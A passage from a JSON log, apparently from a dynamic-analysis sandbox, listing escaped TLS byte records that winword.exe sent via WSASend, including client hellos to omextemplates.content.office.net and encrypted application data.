  630. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x94\\x14]\\x0c[\\xaa!7y\\xe9\\x0e\\xc5wu]\\x0e\\x01\\x9c\\xc7f\\xfd^\\xcfi\\x06%\\xa4\\xb5\\xec\\x9b'n\\xec\\xad^\\xc0l\\xbaw\\x85\\x16;\\xec\\xd6\\xc2\\x07a\\x90\\xf96\\x1a<\\xd3\\xd1\\xa1\\x93*\\x15\\xd5\\x8e\\xb6[\\xcc\\xcd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xcd\\xee\\xf4\\xb5\\x8b\\xdd\\xd7z\\xf4\\x9c\\x8a\\x1bhb\t\\xfe\\xd1\\xeb\\xe7\\x1c\\x13y\\x194i\\xff\\xd1s\\xc9\\xed\r\\xe8\\x02\\x1a\\xf1\\xc9\\xb2\\xf4\\x91\\xcc\\xa5?\\xf4v\\xdf\\x99&x"
  631. },
  632. {
  633. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf5\\x03\\x076\\xcbim\\xae{\\xe6\\xbdm\\xda^kn\\x14\\x06\\xecqf\\x0b\\xaa\\xb0{x\\x96%e\\xab}\\x0e\\xc6\\xb7d\\x89\\x80\\xcc\\xb9%(\\xc2\\x07\\xbf\\xc9\\xa7\\x116\\x9e6]t\\xcff\\xcc2\\x00m\\xca}9k@\\xeb\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xf8\\xc7\\x10\\xfc]\\xd0\\xd2bo\\x0e8q\\xd6t\\x9cn\\x02\\x9f\\x18\\x94\\x1dl\\xeb\\xe9a\\xda\\x02\\xe2i\\x80\\xbd]\\xfa\\x96,\t'j\\xd1\\xfcj2\\xcc\\xd5]\\x8b\\xf3\\xfd"
  634. },
  635. {
  636. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x06sq=\\x19\\x00\\xad@\\xc8\\xd8@f3\\xd09\\x8e\\x15\\x9b\\xa7\\x06\\xc7_ccu\\xe4\\x1a1u\\xb5\\x9a\\x05-j\\xf7\\x08\\xdb\\x04xx|f\\x93\\x8e\\x8b_\\xd4h\\x9ayp\\xb0s\\x95\\xf5d\\x86\\x87\\x7f%\\x91\\xc0\\xca\\x93\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0001]\\x17\\xa9\\xfe\\x1f\\x14/ja\\xc7\\x9aw\\xba\\x083i\\xf8\\xfbj\\x82\\x00\\xc5\\x1a?\\x16|\\x97u\\xde\\x87\\xfai\\xf4k\\xd6kq\\xf2\\xb9}\\x9e\\xaf\\x9c\\xba\\x88\\xe6="
  637. },
  638. {
  639. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\x08\\xd4\\xcccy\\x11\\x9d\\xba\\x8d\\xf3\\xe0\\x80\\x81\\xee0c\\xac;\\x15ga\\xde!\\x91\\x10\\x96o\\x18\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  640. },
  641. {
  642. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1b\\x93\\xa8g\\xb9\\x1a\\xcei/\\x83e\\x194d\\xe6.\\xcd\\xd4\\x8c)\\xe3\\xe2d\\xcar\\xf1\\xda9\\xa1dz\\xf3\\xaf\\xe4\\xbb\\xa6\\x8f\\xb4\\xd0\\xe9\\x81\\x12(\\x96s\\xb9\\xc2^\\x14\r\\xb0k5j\\xa5+\\x87*\\x9cu\\xee\\xbb\\x02\\xaa@\\xfb\\xf8\\x17\\xdd\\xb6\\xda\\x97\\xc4;q11bq+>c\\x12x\\xbb\\xf8q\\xea\\xa0bh\\x1a?r\\xa3\\x86~\\x08\\x8dz)\\xdc\\x16\\x14vf\\x864\\xa3\\xff\\xdf\\x98\\xf2&\\xc4b\\xbb\\x14e\\x0c\\xadx=>8\\x1a0$\\xab\\xe8\\xc0\\xcb=m\\xd62\\x9bx\\x1f$*\\xc3\\xed\\xbb\\x935\\xae(\\x83`\\xf4n\\x9d5\\xb2q\\x9b\\xa0\\xd7\\x13\\xce\\xc8\\xc4\\x91e\\x92\\x06\\x7fm\\xdem\\xce#\\x96\r\\xbd\\xd4?\\xff\\x1d_\\x17\\xb7\\xe6\\x86\\xdbm?c\\xcdg\\xc8\\xb9\\xd3\\xea\\xfa\\x82\\x00\\xf5\\x05]\\xffm^9hx\\x87&\\xccdeo\\xc3\\x84\\xa33v\\xeb\\xb1(\\xaa\\x95w\\xf8\\xa4\\xf17\\xe2\\xa6t9\\xa0\\x99r3=\\x1a$t\\xfa\\xb2\\xec\\xc3=\n\\xf7\\xcbc\\x14\\x7f"
  643. },
  644. {
  645. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x18q\\xf5dx\\xbdi\\x8an\\x80w\\x89b\\xcfx\\xeb\\xd3\\x936\\xfb f\\x84\\x11\\xf9zp\\xea\\xdb\\x1f+\\x0f\\x98\\x9b6\\xfcne>\\xaf\\x7fwy)\\x82-1f\\xeb\\xb6\\xfaw\\xf6\\xcb_\\xba.\\x83\\x88s\\x95\\xe7j\\x12\\x86\\xb6;\\x8c\\xbf\\x8dn\\xbb\\xc9>\\xcb\\xdb\\xe0m\\xb4\\x96kl\\x7f\\xec\\xdb~\\xeb\\xa4\\xd2\\xcc\\xfb\\xe2\\x8e8\\x91\\xa1\\xc5\\xf7~\n-\\xf2\\xd8\"\\xcer\\xd5\\xb5\\xac\\x04w\\xb3\\x06l92\\x95\\xbf\\xeed\\xde\\x16<\\xf3&\\x890\\x93w\\xf0ckw\\x01\\xf4n5\\xf6\r\\xe6q\\x94z\\xc3\\xa7\\x92 \\xad~\\xc2jf\\xd2;\\x1a\\x0bv\\x14\\xe7\\xbf\\xc8dky\\x85\\x12\\xb5\\xe6n\\x11\\x04\\xf7l \\x05\\xd3\"\\x1c3\\x1c\\x82{\\xce\\xf6\\x84\\xe7`\\x98\\xb5\\x98xw%r\\xbf\\x99\\xe6\r2v\\x05\\xf9\\xca;\\xb8\\xf1\\x99\\x89c\\xccg\\x9b\\xd81\\x04\\xf1\\x0c\\xe5m\\xd5\\xdbru\\xe91\\xb3\\x9f/\\xf0\\xc2\\x91o<\\x18n\\xb3\\xc9/d>y\\xa8\\x9d\\xc9m6\\xff_1\\x9b\\xba"
  646. },
  647. {
  648. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9dg\\xdf\\x02\\xf1\\x8c\\xfd\\x82\r$\\x8b\\x84z7\\x13\\xe3`}\\x8a\\xa0\\xef\\x9fa]\\\\xbd\\x1av\\xe4\\x7f\\xf3x\\xd4\\xbb\\xde\\x97so\\xac2\\x86\\x9e\\xf4\\xc1\\x1a'\\xac\\x90ahk\\xcd\\xc4q\\xe3t\\x96ww4\\xe6\\x9d9\\x01xx\\xc1\\x01\\xdc\\x97f\\x9b\\x14\\xad\\x9af\\xbc\\x14\\xdf\\xe5\\xe56\\xcd{\\x05\\x8c4\\xa8n\\xf7c\\x81q\\xa9\\xd0\\xc3\\x91\\x85\\xdc\\xd3&\\xe2ai\\xf7o\\x07k}\\xba\\xcd\\xc2\\x9a\\x14=>\\xec\\x86s\\xca\\xcf\\xf3\\xaa\\xb5s\\xf4_1\\xc2.\\x0e\\xd6\\xf4mo\\x16\\x8cqp\\x14\\xff#h\\x1e\\xc8\\xbe\\xaae9p\\xd8p:\\x03\\x00?!\\x8c\\xad`gb\\xd9\\xd7\\xc0\\x0c\\x8ai{@\\x14\\xdfja\\x9e\\xdb\\x80\\xa2l\\xcb\\xf2\\x1d\\x96\\xf20=\\x80\\xcc\\x1c\\xa6\\xfd6\\x81\\xea\\xba\\xa1\\xc40\\xf0\\xf7\\xcdq\\x03\\xff<%u\\xa8j4\\xd4hg\\x9f`\\x98\\xad\\x8c:\\xb0\rp/tq\\x16\\xc23\\xa8\\xf9\\xd4\\xf9\\x1cai\\xa0~k\\x06\\xaf3a\\xc7x\\x9e\\xa412_\\xfd\\xbd"
  649. },
  650. {
  651. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010bj\\xf8\\x19\\xb1c\\xd6\\xe9\\x8f\\xb7\\x8e\\xa8\\x15j\"\\xc3\\x08\\xdd*[\\\\x96\n\\xe8\\x0c\\xc4{\\xdb\\xd2\\xec$\\xc4b\\xa2\\xcf\\x1e\\xf8\\x83i\\xcb\\x9c>\\xde1\\xbe\\xca \\x1f\\xe1\\x10\\xaak(\\xe7\\xf8y\\x01o.\\xe3n%\\x85c\\xf9\\xd7\\x10\\xe5\\x12\\xb1-\\x8dmre\\xe4\\x91\\xa2\\x96\\x96\\xb8zl\\xa4$\"\\xea\\xbcrxlo\\x97\\xca\\xdb\\x9f\\x13\\xb0\\x1e<\\x91\\x90shc%\\xb4\\x89,cpg\\xe6\\x1d\\xdb\\xcfx\\xc7\\x82$\\xbc\\x9f\\xf6\\\\xaf\\xca\n\\x90\\xfa\\xa0~\\xbd\\xf1\\xec\\xcdz0\\xf6\\xf8\\x0f\\x97jt\\xa1\\xc9\\x0eji\\xd5\\x19n2\\xb7\\x07e\\xb4\\\\xe0v\\xcb\\xa5\\xb2\\x99\\xac\\xfeh\\x19+\\xfe;\\xda\\x8e\\xf4\\xd6;\\x81\\xa3\\x01\\xd6+\\xa5\\xc1\"ms\\x19r\\x18\\x85\\x96\\xea\\x07\\x07\\x8e\\xad\\xa8\\xc03d67\\x84c\\x86\\x0e\\x0c^mo4\\xc4\\xa7egy\\xf8\\x16\\x9ad'\\x11=\\xb2s2\\xd3@id\\x04\\x18\\xc7\\xb3v<\\xfc\\xe0y\\xc9p\\x92b\\xb8v\\x8f,\\xe3#\\xbf\\x161"
  652. },
  653. {
  654. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010b\\xdap-\\x84dqc\\x0f\r\\xae\\x19\\xee\\xa6\\x0b\\x8f\\xac9\\x86\\x94\\xf0\\xf1\\xee\\xd25\\x12\\x87n;lexgkg6.j\\xc1s\\xc5(\\xf7\\x0b\\xb3\\xdcn*j\\x00\\xbd\\xf5\\xecb\\x08&\\xbe?p\\xb5\\xd3t\\x95}\\xd3ql\\xe1c\\xf2\\xc6u!\\xc1\\xb4_\\xce\\xa9\\xc7\\h\\xbe\\x1b\\xbd\\xd94\\x9c\\x0e7w&\\xde\\x07\\xc1j\\xec\\x03\\x80\\xb7\\x93\\x98\\x18w\\xac\\x12\\xca\\x06\\x0c0\\xde.\\x87\\\\xffpox\\xda3\\x00+\\x0e\\xf4x\\x1f\\x19\\x133\\xcd\\xac\\x8e\\xe2\\xb59\\x9a\\xe9\\x9a\\x80\\xb9\\xd5\\x8c\\x8a\\x84\\xd5a)\\xc0.\\xc43v\\xf1r\\xcdv\n\\xa9\\xab\\x10\\xf5\\x94\\xb20\\xaa`@kr\\x82\\x16\\xb0$\\xbfe\\xd4s?\\xee\\x19\\xbd<\\x15\\x9d}\\x9f\\xbad\\xf0\\xbd\\xcfq\\xb4\\xce\\xfct\\xf1ri\\x1bht\\x1ay\\xf8\\xed\\xe7\\xae\\xb5ivu\\xed.\\x7f\\xc0t\\x15\\xc9e\\xa56\\xe4\\xc4\\xa1\\x17,\\xbd\\xbc^\\xc1u(\\xec\\xf1\\xca\\xeemomni\\x19f\\x91\\x17\\xdf\\xbe\\x83[\"\\x0c"
  655. },
  656. {
  657. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xad\\x8fji\\x80\\x82pz\\xde\\xeb\\x16\\x9a\\xc3.$\\xf0f\\x92\\xb8\\x91\\xd5\\xa0\\xcbsx\\xbf\\xeav\\x90/\\xf6\\x17\\xec\\x1fk\\x17u\\xa3\\x9e\\xeb%\\xb6\\xd9%\\xd4\\xfavwdg]\\xf5\\xb9\\xfb\\xb9?\\xaa\\x7f\\x80\\x9e\\v\\xdal\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe8>*\\xf2\\x11x2[hx\\x8b\\xa2\\xef\\xea\\xd5a\\xf3\\xf0\\xaf\\xef\\x1a\\x1c,*\\x88\\xf4h\\x1f(\\xa0\\x87\\x9eb\\xe8\\xca\\x03\\xf8\\x82u/6k%\\xeb\\xe3\\x1c\\xc4\\xd0"
  658. },
  659. {
  660. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1b9\\xce\\xf9\\xd8n\\xea,\\xca\\x847r\\xb3]\\xd11@[/\\xe6\\xa7\r\t\\xb9\\xc4\\xf4\\xfa\\x06\\xa6\\xfe\\xbcf\\x12>_\\xbce\\xfc@\\xfd\\x96dhc\\xfb\\xb2\\xcek\\x95\\xf5\\x9b\\xb3\\xdb\\x18\\xaa\\x91\\x11\\x85\\xcft8\\x87=x\\xd5\\xeb\\x82\\x13\\xb5\\x8f\\xac\\xd7\\x01\\xb9x\\xabp\\xfeq\\x7f\\xbb\\xae\\xa4\\xa5\\xfd\\xaf;y\\xc2\\xa1\\x9ey\\x97b\\xecx\\x02t\\xf5\\xde?\\x07y\\xb4\\xd8y\\x05\\xbd\\xe7|\\xe2\\xf1\\xcd\\xe9v\\xc9\\x1f\\xb95}\\xc9m\\x10\\xf1\\xb7\\x891\\xaa\\xd6\\xa4s\\x10\\x05;j\\x88\\xae\\x8a\\xd8^n\\xe1z\\xb7\\x01\\xbf\\xa6\\x08a\\xc6\\x0bi\\xea\\xad\\x87c\\xee8>\\x95nm\\xbc\\xac:u\\xdb\\xd0|\\x0c\\xf1y\\x13\\xf7v\\x83\t\\xc52\\xa6r\\x0fq\\x94\\x81:\\xd6\\xd0h-\\x10\\xad\\xf5k\\xac9\\xb8\\x87\\xbf.\\x92\\xa1\\xab\\xd5=\\xa8\\xc6?3\\x7f\\x9a\\x98\\x81\\x1d4\\xcb\\x0f\\xc0:\\x8f\\xd8\\xe8f\\x12\\x15\\xcae\\xb3t\\xed%\\xcfl\\\\xe7q?\\x88\\x1e{\\xab\\x1e`\\xbf\\x99\\x93\\xa9\\x9c{=c"
  661. },
  662. {
  663. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010xd\\xe9\\xed,\\xd8\\xf5|\\x0c\\x1a\\xea\\xd8(\\x9f\\x0e\\x11\\xda\\xee\\xc4\\xb1v\\x1b\\x1b\\xa4\\x96i\\x04d\"\\xe8\\xb0$\\x87a\\x84\\x8c\\x97oz\\xa7^\\xe2\\xdc\\x18f\\xcd\\xd0f\\xd6t\\x84p\\x9fz\\xec>h\\x95h\\xa7\\xd2ca\\xd6\\xd9\\xab\\xca3\\x85\\xe1\\xdf\\xa7k\\x7f\\x0c\\xa6\\xe8a\\xe8x\\xda\\xcdos\t\\x8al)\\xf4[\\x05\\x1bc\\xbbg\\x9as0\\xe2g=\\xd0\\x10j9\\xc8u\\x04\\xf4\\x18.\\xe4\\x1f\\xc8x\\xec&f\\xcd\\xcf\n/o\\xac\\xde\\x8b\\x93xl\\x92c\\xbdq\\xfa<ba\\xab\\x04\\x9d\\xc6\\xee81\\x083\\xbcssp\\xb36\\x1bp\\x04\\x88\\x97d\\xad/k&'\\x18\\xa8\\xe9\\x8d)\\x9f\\xb8\\x1d\\xda7\\xe2\\xe61\\x15@cu\\xd6\\x92\\xd30\\x92y\\x0c7`~\\xa1\\xae\\x96\\xd2\\xc3\\x94v\\x1a\\xe8\\xe0ksy\\xda\\xfde t\\x8e|p\\xeeq2\\xb7\\x03\\x07\\x15\\x0f`m\\xd9\\x94q\\x92y\\\\xa3\\xa0z2\\xd5-\\x14\\x11@~\r\\xa4\\xf2h \\x89`\\xb2\\xa1\rp\\xfaa\\xf9"
  664. },
  665. {
  666. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x18\\xca\\x12\\xe7\\x0c\\x14\\xd6w\\xa1\\x86<s\\xb1\\x03\\x81\\xe3m\\xa6\\xc4g\\xd8\\xa8\\x93\\xbc1*\\xa9\\xc48q\\xcd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  667. },
  668. {
  669. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04#\\x89\\xfa\\x9f\\x8fylo\\xc1%q\\xc1(`\\x961`_km3\\xd9\\xfd*dj\\xdf\\x85v\\xfb\\xdb\\x14q\\xf0\\x19\\xa0\\x16\\xf5e\\xd9a2:v`u\\xfd\\xd8\\xb1\\xe8\\xd2\\x13\\x1d\\xa9\\x98\\x93\\xb0\\x9b\\x0c\\x82\\xe9\\xc7<a\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000v\\xe9\\xa2,\\xed&\\x93\\xf5kt@t\\x04 \\xd8\\xcd\\xe3\\x05\\xa2%\\xbc\\xd6\\xee\\x82\\xd3\"&mj\\x19>h#is2\\x19\\x16\\xe9\\x07\r\\xff\\xb8[\\x91\\xa0\\x06\\x84"
  670. },
  671. {
  672. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc55r\\x18\\xd8t\\xcc`\\xd4g\\x9f\\xfc\\xae \\xa3\\x9e\\xb4^\\x91\\xb7\\x80p\\x18,\\xae2\\xe2\\x1c\\xd4g\\xd7f+\\xba]c\\x19\\xbf)\\x836\\x0b&v;\\x0f\\x89\\xf7k\\xa4su\\xa2\\x10}\\xd6\\xe2\\xccc-\\xed'6\\xbd\\x11\\x1f\\xc4@a^\\xd1\\xb2\\x9e\\xe0q\\xd5\\xd1'\\x18\\x0c\\xb0\\x042\\x02a\t\\xffl\\xfb\\xa8o;\\xd5\\x11\\xd0s\\x83\\xca~\\xd4\\x1a\\xd2{^a\\x16u\\x04o\\xa48\\xb7\\xf0~\\xd4fi\\x05\\xee\\x94\\x15\\xd0\\xb7\\xc6\\x04\\xc1\\x1a\\xd6\\x03\\x98:n\\x83\\x0e\\x108t\\xabl\\xea\\x8a\\x96\\x97w^\\xb8\\x14\\x17\\xae\\xded\\x8f\\x16j\\x8b\\xef\\x0b\\x8b\\x0ee\\xe0f\"jh)\\x113\\x03\\x02*\\x08\\x82\\xa9u\\xe5m\\xe5\\xdc\\xe5\\x04c\\x9d\\xfa\\x84\r#\\xff~^:\\x0cp\\xe8\\x06_\\xb5o\\x880\\xe1\\xa1ml\\xcd\\xe9\\x98x\\xa9\\xb0\\xcf4\\x96\\xa8\\xbac\\p\\xd2i4\np\\xd2c\\x04\\xa0a/\\xa4k\\xa0\\xe7c%^{1*$\\x19\\xa9\\xc5\\xda\\xe0\\x99\\xe5\\x9b\\xd3\\xb1\\xa2"
  673. },
  674. {
  675. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010gdo\\x07\\xd8/\\xcc\\xb3\\x0f\\x90\\x19%\\xa4\\xd5\\xbb\\x08qk\\x1a%\tih\\xc7\\x1b2\\x89\\xe3\\x0f\\xe5t\\x94\\xbf\\x9b.\\xf8x\\xc7\\xb3\\x9c\\x1d\\x92\\xc8\\xff\\x88\\xe1\\xe4\\xef\\x84\\xd2\\xd1;\\xf0\\xf8\\x06c\\xa5\\x130\\x04~\\x84&\\x82}g\\x10\\x14a\\x02v>\\xace\\xfa\\x08f'vn\\xddp\\x15\\x938\\xc6\\xb5\\xde\\xb5\\xd9\\x0bb3_\\xee\\x078\\xfd,xo\\xd5\\x13\\xcd\\xf9&\\xa1\\xc5\\xf8\\x11\\x93u\\xf5\\xf8\\xd9a\\xff-\\x0f\\x085\\x97\\xcad4\n\\xadvx\\x13\\xbe\\x00'\\xe2\\xb1h\\xad\\xe9\\xc5\\x1a4^\\xd0\\x8cq\\x06=\\xeb6p\\xd9\rq\\xb5\\xd9e\\xaat\\xaf\\xc6\\xafbx\\xf0\\xd7\\xde\\x94\\x03\\xd7w\\x9dri\\xc7\\x82}\\xd0\\xb0fp\\xef\\xd3\\xe4\\x88u{\\xc6\\xf4,\\x12\\x07\\xec\\xf6\\x03\\xcb\\xac\\xdf\\x84\\xdd\\x9c\\xa3\\x91/ik\\x01\\xf4\\xb6\\x86gv)o\\x98db@\\x86r\\x08*\\xdb&\"\\xe5\\x0e6\n\\x11\\x05\\xb9\\xc2\\xd9\\xef\\xf9!1\\xcad\\x8ci\\xa4\\x8fsp\r\\x8ai\\x87co"
  676. },
  677. {
  678. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04l\\xa31\\xb0bb\\xfb\\xa9\\xca\\x92\\xe9r\\x19 \\x93ccd\\x95y3\\xbda\\xec\\xcf\\xb1\\xfe!3<\\x9d\\xc5\\xf0\\xb4@\\xcf=\\x0ef\\xa3b\\x1a\\xec]\\xa0=\\xda\\x14+\\xa3\\xb1\\xb3\\xbf\\x07\\x171\\xb4k\\x88\\xc9\\x0e\\x94\"\\xa3\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xa4\\x12\\xc4\\x9d\\xaer\\xf1f\\xee+\\x91\\x84ib\\xea\\x9a$0\\x1a5\\xde\\xeb\\xfa\\x88\\x01\\x92\"np\\xf3\\xc2o\\xd0\\x9b\\x9d\\x7f\\x858\\xc9\\wh\\xd8\\x8a\\xba\\x1d\\xbf\\x1a"
  679. },
  680. {
  681. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x9f\\x82)\\xacf\\xd2r\\xf1\\x01\\xbah\\xb3)\\xe7\\xf1\\xcc'\\xd0j\\xfe\t\\xdfz\\x13acc\\xb2o\\x9b\\xda\\x171\\xa0\\xd0\\xed3p\\x1a\\xa7\\x93m\\x03\\x03\\xa1\\xd1\\xd9\\x9f\\xc0\\x97\\x9f\\x00\\x1e\\xd2\\xe6\\xf4\\xc4\\xb1\\x8d\\xbe\\xaf$cd\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000tc4\\x1f\\xb0\"\\xc7\\xa4\\xc1\\x84'\\xe4m\\x1f\\x02a\\xe5c\\x9e\\x9b\\xfa\\xb9\\xeb\\xaa\\xfcz!}/vi\\xdcr\\x9f\\x82:\\xbd\\xb9\\x87\\xaf:\\xc9\\xdc\\x9f\\x87\\xda\\x131"
  682. },
  683. {
  684. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x0b\\x13\\\\xbd\\xdd\\x07\\xebc8\\xa4%\\x81\\x8e\\xe7\\xd9\\xb6\\x83\\xc8\\xd4\\xe5/\\xd7^\\xdb\\xf3\\xd7\"\\x9e,~jp_\\xc6\\x81\\x1d8\\xd7d\\xc3\\xa9li\\xa3\\x1a\\xd2\\xda(\\x82\\x04\\x90c\\xff\\xd4*\\x15\\x8b\\x06w\\ \\xa2\\xed\\x95\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000<\\xf7i>=\\xff2|\\x99\\xd2$\\xb3\\x02\\xb0(\\xa0\\x90]hj\\x86v;\\xdf\\xf4\\xdfy\\x86[\\xc2\\xc3\\x88p\\xd8\\xe3*\\xf3\\xe8\\x84\\x03w)\\xdb\\xd1\\x94x\"\\x89"
  685. },
  686. {
  687. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04j\\x99\\xb0\\xae(\\xcf\\xee:{\\xa1\\xd5]\\xfe|\\xce\\xb8\\xbap\\x88\\xc1\\xfe\\xaa\\xd2<b\"\\x13\\xb1\\x87\\xa3\\xd6\\xe8\\x13\\xb7\\xb7\\xa7\\xb5/\\xffk\\x0b\\xb3\\xa6:\\xee8lnk\\x1d\\x01-\\x9c\\xb9\\xea\\xee6\\xef\r!\\xe8l\"\\x84\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xbc\\xf6\\x92\\x84\\x06\\x7f\\xd2\\xf6\\xab\\xd4:o\\x0b\\x0c\\xea\\x96\\xee:\\x9a~\\xbf\\xde\\xba\\x8cy\\x0bb\\x7f\r\\xae\\x9e-p\\xae\\xe6\\xf0}\\x81co\\x18\\x12\\xe5g\\x03\\xd6%\\x94"
  688. },
  689. {
  690. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\"\\xae\\xe9\\xb8_\\x82#\\xda\\x92\\xb2\\xd2\\x02'\\x92\\x021\\xa2\\xb0m\\xcd\\xd4\\xa0\\xec3\\xedmc'\\x85\\x9c\\xe0gd\t\\x8e_i\\xb9j\\x1b\rn[\\xea7\\xfe\\xdc\\x05\\xfbv\\xa0\\xb3\\xf7w\\x86qa\\xb8eu\\xcf\\x91xp\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000hpu\\xb1\\x93`>\\xe4=\\x82\\xcah\\xda\\x96\\x88s\\xad\\xd3\\x18\\xfd\\xe4@\\xd8$41\\x7f\\xf2\\x81\\xfc\\xf9\\x96\\xb46\\xdf&\\x11;\\xa2\\x032os\\x10\\x04\\x19\\xc0\\xd3"
  691. },
  692. {
  693. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xab]\\xd1\\x1a\\xc3\\xc5h1\\xcc\\x9e\\xfa)?\\xdc\\xbe\\x1f\\x03\\xbd)\\x02\\xf8\\x85\\xbf/\\xe4\\x83v\\xe7\\xae<\\xeb\\xe4n\\xac\\xd8\\x07\\xe8\\xda\\xab\\xc4\\xe2\\xaf\\xfc\\xd36f0\\x08_\\x7f\\x04k\\xda\\x0c\\x18\\xe8\\xfb\\xca\\x8a\\x0c\\xe2\\xe1m\\x1b\\xf6\\\\x83\\xd5-p\n*tr\\xd2\\xcb\\x15\\xe8\\x95\\x19%\t\\xc3?\\x97\\xb6\\x18\\x16g$etq\\xcc1\\x8ez\\xcer\\x1e\\x19\\xde\\x14\\x04\\xa6\\x8c\\xfff@3\\xf0:\\xf2\n\\x92\\x8ds\\xd9\\xda\\x98\\xebo\\xbf/b\\xbci\\xc6[\\xd1\\xd4rtwk+\\xb8w\\xf6n\\xf1\\xeb\\xe7/d\\x1b\\xdd$\\xbf\\xa2\\xea\\xban\\xae\\x99\\xa3n\\xe5\\xb2\\xdes]\\x88\\xc9\\xed\\x11\\xc1~\\xf3-&\\xd3\\xc8\\x9a{\\x1b\\xa9\\xa1o\\xc9\\xbfj\\xf2\\xb3\\xcf\\xf9\\xfd\\x924\\\\xabdq\\xaag\\xc8(\\xaf\\x83&\\x90\\xf6\\xaa\\x03\\xfa\\xeb8\\xba\\xe5\\x1dyb\\x98\\xf5\\xe2\\xcc\\x8d4\\xa4l\\xd9\\xfe=<>\\x01`ai\\xe6\\xb2\\x80\\xf6(\\x8f\\xb8\\x16+rrd\n@\\xce\\xd5]q\\x91\\xb3\\xbah"
  694. },
  695. {
  696. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010do6\\xcd\\x10 u<v:\\x87\\xd9\\xdcd\\x01\\x8f\\x14<a\\xc6-g\\x92\\xa18r\\xde\\xd3&\r\\xb0!\\x8d\\x1bv\\xae.\\xa0\\xff\\x92\\xcfx\\x90\\x088\\xf2\\x85x\\x13\\x06\\xf4`j5!.\\xb8\\x84\\x1d\\x18\\xf2\\x97\\x95n\\xfa\\x8f$\\xe4\\xf2\\xc9\\x1e\\xbb\\x17\\x0c\\xc3_\\xad\\xf9\\x8e^\\xd3\\x88_q\\xdf>\\xf3f\\xe3\\xc0d&\\xa6\\x01\\xb1\\xb6*\\xbe\\xee\\x1c\\xd8\\x8c\\x97/dq[\\x07\\xdb\\xf7\\x18\\xee\\x06\\x17\\xbdk|\\x03\\x17p\\x15m \\x1bs\\xec\\x1a\\x964\\x9a\\x92\\xf6@\\x8b@h\\xaa7q\\x8c\\x90$\\x96\\xf3\\x88\\xac\\xc8&\\x8c{\\x0e\\x1bi\\xea\\x0c\\xcf[rs\\x8e~\\xa7\\xcf\\x95\\xd3\\xe8\t\\xcd\\x9bc\\xc6h\\x1dh\\xa8'g\nb52\\x95\\xf7\\x9fs'\\xcc\\xe1\\x17$x\\xcc^m\\xcc\\x8d\\x19@\\xf8\\xcb\\xf5\\x99ohz$o\\xfe\\xa7\\xb4\\xa5m\\xc4u\\xc7\\xad\\xc4\\x8c\\xe4\\x0c!\\xd4\\xe2\\xbc\\xb2\\x05p\\x10\\xb1\\xdb\\xc4\\x11xgx$\\xfeper\\x944\\xc7\\x1e\\x87\\x13e\\xcb\\xd8\\x1f\\xc9"
  697. },
  698. {
